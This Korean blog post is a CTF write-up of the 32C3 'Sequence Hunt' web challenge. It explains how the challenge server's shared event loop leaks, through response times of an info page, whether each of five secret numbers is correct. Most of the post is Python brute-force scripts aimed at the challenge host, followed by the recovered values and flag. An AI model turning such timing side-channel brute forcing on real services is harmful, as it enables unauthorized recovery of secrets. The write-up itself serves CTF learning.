티스토리 뷰
- Sequence Hunt
http://136.243.194.36:18888
send them as GET parameters here 를 선택하면 아래 페이지로 이동되고 인자가 없다는 메시지를 볼 수 있다.
val0 파라미터 인자를 만들어주고 다시 접근해보면 val1 인자가 없다는 메시지를 확인할 수 있고 동일하게 인자를 만들어서 접근해준다.
인자를 다 만들어주고 나면 접속한 사용자의 IP 주소와 함께 값이 틀렸다는 메시지를 확인할 수 있다.
다시 메인 페이지로 돌아가서 get some info about you here 를 선택하면 아래 페이지로 이동되고 요청한 횟수를 확인할 수 있다.
그리고, Someone sent me this 를 선택해보면 Timing attack(https://en.wikipedia.org/wiki/Timing_attack)에 대해 설명해놓은 사이트로 연결이 된다.
주어진 내용들을 생각해보면 파라미터 변수를 통해서 5개의 숫자(0~100 사이)를 맞추는 문제라는 것을 알 수 있다.
(문제에서 check를 요청할 경우 모든 응답을 3초 뒤에 하도록 해서 Timing attack을 할 수 없도록 막아놓았다고 되어있지만, 일단 시도)
먼저, 단순하게 순서대로 대입을 해서 응답 시간이 다르게 나오는 값을 찾는 방법을 이용하였다.
SequenceHunt.py:
1 2 3 4 5 6 7 8 9 10 11 12 | #!/usr/bin/python # -*- coding: utf-8 -*- import requests import time for i in range(0,101): begin = time.time() r = requests.get("http://136.243.194.36:18888/check?val0="+str(i)+"&val1="+str(i)+"&val2="+str(i)+"&val3="+str(i)+"&val4="+str(i)) # print r.content end = time.time() print '{0}: {1}'.format(i,end-begin) | cs |
하지만, 결과를 보면 약 3.6초로 모든 응답 값이 동일하게 나오는 것을 확인할 수 있다.
역시나 Timing Attack에 대해 방어가 되어있는 것을 확인할 수 있다.
(하지만 공격할 수 없다면 문제로 출제할 수 없기 때문에...어딘가에 취약한 곳이 있기 마련)
해당 웹서버를 구경하다보면 웹서버에 요청할 때마다 request count IOLoop 값이 1씩 증가하는 것을 발견할 수 있다.
이를 이용해서 info 페이지 요청과 동시에 check 페이지도 요청을 한 다음, 다시 info 페이지를 요청을 해본다.
예를 들어서 현재 count 값이 '0'일 경우, info 페이지 요청을 하게 되면 count 값이 '1'이 되고, 동시에 check 페이지도 요청을 하였기 때문에 count 값은 '2'가 된다. 여기서 다시 info 페이지를 요청하면 count 값은 '3'이 되는데, 마지막으로 요청한 info 페이지는 check 페이지 요청이 끝나는대로 응답을 하게 된다. 즉, check 페이지는 Timing Attack에 대해 방어가 되어 있어서 3초 뒤에 응답을 하지만 내부적으로 info 페이지는 check 페이지의 처리가 끝나는대로 바로 응답을 한다는 것을 알 수 있다.
이를 통해서 파라미터 값 중 첫 번째 파라미터(val0)의 참, 거짓 유무에 따라서 check 페이지가 아닌 마지막으로 요청한 info 페이지의 응답 시간이 간접적으로 달라지게 된다.
따라서 info 페이지의 응답 시간을 비교하여 Timing Attack을 할 수 있다.
(네트워크 상황에 따라서 잘못된 결과를 나타낼 수도 있기 때문에 2~3번 반복해서 확인이 필요하다.)
SequenceHunt-0.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | #!/usr/bin/python # -*- coding: utf-8 -*- from multiprocessing import Process, Queue import requests import time def Hunt(i): r = requests.get("http://136.243.194.36:18888/check?val0="+str(i)+"&val1="+str(i)+"&val2="+str(i)+"&val3="+str(i)+"&val4="+str(i)) # print r.content def info(q): LoopTime_begin = time.time() """ Frist, IOLoop_A """ IOLoop_A = requests.get("http://136.243.194.36:18888/info") data_A = IOLoop_A.content countValue_A = int(data_A[data_A.find('IOLoop:')+8:]) """ Second, IOLoop_B """ IOLoop_B = requests.get("http://136.243.194.36:18888/info") data_B = IOLoop_B.content countValue_B = int(data_B[data_B.find('IOLoop:')+8:]) if(countValue_A+2 == countValue_B): LoopTime_end = time.time() q.put('{0:.4f}'.format(LoopTime_end - LoopTime_begin)) else: q.put('[-] Failed... ???') if __name__ == '__main__': print('[*] Sequence Hunt:') q = Queue() for i in range(0,101): p1 = Process(target=info, args=(q,)) p2 = Process(target=Hunt, args=(i,)) p1.start() time.sleep(0.1) p2.start() p1.join() p2.join() print '\t[{0}][{1}][{2}][{3}][{4}]: {5}s'.format(i,i,i,i,i, q.get()) | cs |
1.2초 근처 값들은 False
val0 = 4
SequenceHunt-1.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | #!/usr/bin/python # -*- coding: utf-8 -*- from multiprocessing import Process, Queue import requests import time def Hunt(i): r = requests.get("http://136.243.194.36:18888/check?val0=4&val1="+str(i)+"&val2="+str(i)+"&val3="+str(i)+"&val4="+str(i)) # print r.content def info(q): LoopTime_begin = time.time() """ Frist, IOLoop_A """ IOLoop_A = requests.get("http://136.243.194.36:18888/info") data_A = IOLoop_A.content countValue_A = int(data_A[data_A.find('IOLoop:')+8:]) """ Second, IOLoop_B """ IOLoop_B = requests.get("http://136.243.194.36:18888/info") data_B = IOLoop_B.content countValue_B = int(data_B[data_B.find('IOLoop:')+8:]) if(countValue_A+2 == countValue_B): LoopTime_end = time.time() q.put('{0:.4f}'.format(LoopTime_end - LoopTime_begin)) else: q.put('[-] Failed... ???') if __name__ == '__main__': print('[*] Sequence Hunt:') q = Queue() for i in range(0,101): p1 = Process(target=info, args=(q,)) p2 = Process(target=Hunt, args=(i,)) p1.start() time.sleep(0.1) p2.start() p1.join() p2.join() print '\t[{0}][{1}][{2}][{3}][{4}]: {5}s'.format(4,i,i,i,i, q.get()) | cs |
1.5초 근처 값들은 False
val1 = 12
SequenceHunt-2.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | #!/usr/bin/python # -*- coding: utf-8 -*- from multiprocessing import Process, Queue import requests import time def Hunt(i): r = requests.get("http://136.243.194.36:18888/check?val0=4&val1=12&val2="+str(i)+"&val3="+str(i)+"&val4="+str(i)) # print r.content def info(q): LoopTime_begin = time.time() """ Frist, IOLoop_A """ IOLoop_A = requests.get("http://136.243.194.36:18888/info") data_A = IOLoop_A.content countValue_A = int(data_A[data_A.find('IOLoop:')+8:]) """ Second, IOLoop_B """ IOLoop_B = requests.get("http://136.243.194.36:18888/info") data_B = IOLoop_B.content countValue_B = int(data_B[data_B.find('IOLoop:')+8:]) if(countValue_A+2 == countValue_B): LoopTime_end = time.time() q.put('{0:.4f}'.format(LoopTime_end - LoopTime_begin)) else: q.put('[-] Failed... ???') if __name__ == '__main__': print('[*] Sequence Hunt:') q = Queue() for i in range(0,101): p1 = Process(target=info, args=(q,)) p2 = Process(target=Hunt, args=(i,)) p1.start() time.sleep(0.1) p2.start() p1.join() p2.join() print '\t[{0}][{1}][{2}][{3}][{4}]: {5}s'.format(4,12,i,i,i, q.get()) | cs |
1.9초 근처 값들은 False
val2 = 77
SequenceHunt-3.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | #!/usr/bin/python # -*- coding: utf-8 -*- from multiprocessing import Process, Queue import requests import time def Hunt(i): r = requests.get("http://136.243.194.36:18888/check?val0=4&val1=12&val2=77&val3="+str(i)+"&val4="+str(i)) # print r.content def info(q): LoopTime_begin = time.time() """ Frist, IOLoop_A """ IOLoop_A = requests.get("http://136.243.194.36:18888/info") data_A = IOLoop_A.content countValue_A = int(data_A[data_A.find('IOLoop:')+8:]) """ Second, IOLoop_B """ IOLoop_B = requests.get("http://136.243.194.36:18888/info") data_B = IOLoop_B.content countValue_B = int(data_B[data_B.find('IOLoop:')+8:]) if(countValue_A+2 == countValue_B): LoopTime_end = time.time() q.put('{0:.4f}'.format(LoopTime_end - LoopTime_begin)) else: q.put('[-] Failed... ???') if __name__ == '__main__': print('[*] Sequence Hunt:') q = Queue() for i in range(0,101): p1 = Process(target=info, args=(q,)) p2 = Process(target=Hunt, args=(i,)) p1.start() time.sleep(0.1) p2.start() p1.join() p2.join() print '\t[{0}][{1}][{2}][{3}][{4}]: {5}s'.format(4,12,77,i,i, q.get()) | cs |
2.3초 근처 값들은 False
val3 = 98
SequenceHunt-4.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | #!/usr/bin/python # -*- coding: utf-8 -*- from multiprocessing import Process, Queue import requests import time def Hunt(i): r = requests.get("http://136.243.194.36:18888/check?val0=4&val1=12&val2=77&val3=98&val4="+str(i)) # print r.content def info(q): LoopTime_begin = time.time() """ Frist, IOLoop_A """ IOLoop_A = requests.get("http://136.243.194.36:18888/info") data_A = IOLoop_A.content countValue_A = int(data_A[data_A.find('IOLoop:')+8:]) """ Second, IOLoop_B """ IOLoop_B = requests.get("http://136.243.194.36:18888/info") data_B = IOLoop_B.content countValue_B = int(data_B[data_B.find('IOLoop:')+8:]) if(countValue_A+2 == countValue_B): LoopTime_end = time.time() q.put('{0:.4f}'.format(LoopTime_end - LoopTime_begin)) else: q.put('[-] Failed... ???') if __name__ == '__main__': print('[*] Sequence Hunt:') q = Queue() for i in range(0,101): p1 = Process(target=info, args=(q,)) p2 = Process(target=Hunt, args=(i,)) p1.start() time.sleep(0.1) p2.start() p1.join() p2.join() print '\t[{0}][{1}][{2}][{3}][{4}]: {5}s'.format(4,12,77,98,i, q.get()) | cs |
val4 값은 위 코드를 실행해보면 모든 값이 2.7초 근처에 있는 것을 볼 수 있다.
마지막 값은 순서대로 대입해서 다른 결과를 출력하는 값을 찾는 방법으로 알 수 있다.
SequenceHunt.py:
1 2 3 4 5 6 7 8 9 10 11 | #!/usr/bin/python # -*- coding: utf-8 -*- import requests for i in range(0,101): r = requests.get("http://136.243.194.36:18888/check?val0=4&val1=12&val2=77&val3=98&val4="+str(i)) data = r.content if(data.find('wrong') == -1): print '{0}, {1}'.format(i,data) break | cs |
실행 결과:
http://136.243.194.36:18888/check?val0=4&val1=12&val2=77&val3=98&val4=35
flag: 32C3_round_and_round_and_round_IT_goes
'CTF (Git으로 이사 예정)' 카테고리의 다른 글
[SSCTF] Can You Hit ME ? - Web (200) (0) | 2016.03.02 |
---|---|
[SSCTF] Up!Up!Up! - Web (100) (0) | 2016.03.01 |
[SharifCTF] technews - Web (200) (0) | 2016.02.09 |
[SharifCTF] PhotoBlog - Web (100) (0) | 2016.02.09 |
[32C3] ITD - Web (150) (0) | 2016.01.19 |
[32C3] Kummerkasten - Web (300) (0) | 2016.01.12 |
[32C3] TinyHosting - Web (250) (0) | 2016.01.11 |
[32C3] MonkeyBase - Web (200) (0) | 2016.01.07 |
[32C3] forth - Pwn (150) (0) | 2016.01.03 |
[CODEGATE2015] Owltube - Web (400 Point) (0) | 2015.03.16 |